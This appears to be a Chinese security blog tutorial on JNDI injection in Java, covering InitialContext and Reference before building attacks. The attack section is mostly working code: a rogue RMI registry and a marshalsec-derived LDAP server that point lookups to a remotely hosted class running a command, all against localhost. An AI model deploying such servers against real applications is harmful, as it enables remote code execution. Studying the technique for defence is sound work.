Java安全之JNDI注入

发表于： 2021年7月26日 2021年12月27日
分类： JAVA安全

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0x00：前言
0x01：JNDI
1. 概述
2. JNDI结构
0x02：前置知识
0x03：JNDI注入攻击
0x04：参考

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0x00：前言
0x01：JNDI
1. 概述
2. JNDI结构
0x02：前置知识
0x03：JNDI注入攻击
0x04：参考

0x00：前言

接着来学习JNDI注入相关知识。

0x01：JNDI

概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将JNDI API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一，所有的J2EE容器都必须提供一个JNDI的服务。

JNDI可访问的现有的目录及服务有：
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

以上是一段百度wiki的描述。简单点来说就相当于一个索引库，一个命名服务将对象和名称联系在了一起，并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件，从而保持数据库代码不变动等。

JNDI结构

在Java JDK里面提供了5个包，提供给JNDI的功能实现，分别是：

javax.naming：主要用于命名操作，它包含了命名服务的类和接口，该包定义了Context接口和InitialContext类；
javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；
javax.naming.event：在命名目录服务器中请求事件通知；
javax.naming.ldap：提供LDAP支持；
javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。

0x02：前置知识

InitialContext类

构造方法：

InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文，并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。

代码：

InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文，其实通俗点来讲就是获取初始目录环境。

常用方法：

bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象，覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。

代码：

package com.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

Reference类

该类也是在javax.naming的一个类，该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法：

Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码：

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1：className - 远程加载时所使用的类名

参数2：classFactory - 加载的class中需要实例化类的名称

参数3：classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法：

void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。

代码：

package com.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);

}
}

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去，这是为什么呢？

其实查看Reference就可以知道原因，查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类，前面讲RMI的时候说过，需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码，所以这里还需要调用ReferenceWrapper将他给封装一下。

0x03：JNDI注入攻击

在叙述JNDI注入前先来看一段源码。

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
initialContext.lookup(uri);//获取指定的远程对象

}
}

在上面的InitialContext.lookup(uri)的这里，如果说URI可控，那么客户端就可能会被攻击。具体的原因下面再去做分析。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。

JNDI注入+RMI实现攻击

下面还是来看几段代码，来做一个分析具体的攻击流程。

RMIServer代码：

package com.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JndiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("obj",referenceWrapper);
System.out.println("running");
}
}

RMIClient代码：

package com.rmi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiClient {
public static void main(String[] args) throws NamingException {
String url = "rmi://localhost:1099/obj";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

下面还需要一段执行命令的代码，挂载在web页面上让server端去请求。

package com.rmi;

import java.io.IOException;

public class test {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");

}
}

使用javac命令，将该类编译成class文件挂载在web页面上。

原理其实就是把恶意的Reference类，绑定在RMI的Registry 里面，在客户端调用lookup远程获取远程类的时候，就会获取到Reference对象，获取到Reference对象后，会去寻找Reference中指定的类，如果查找不到则会在Reference中指定的远程地址去进行请求，请求到远程的类后会在本地进行执行。

在这里其实是执行失败了，因为在高版本中，系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true，可以远程加载一些类。

LDAP概念

轻型目录访问协议（英文：Lightweight Directory Access Protocol，缩写：LDAP，/ˈɛldæp/）是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问控制和维护分布式信息的目录信息。

JNDI注入+LDAP实现攻击

有了前面的案例后，再来看这个其实也比较简单，之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。但是1.8u191版本后依然无法使用

启动一个ldap服务，该代码由某大佬改自marshalsec。

package com.rmi;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class demo {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

编写一个client客户端。

package com.rmi;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class clientdemo {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}}

编写一个远程恶意类，并将其编译成class文件，放置web页面中。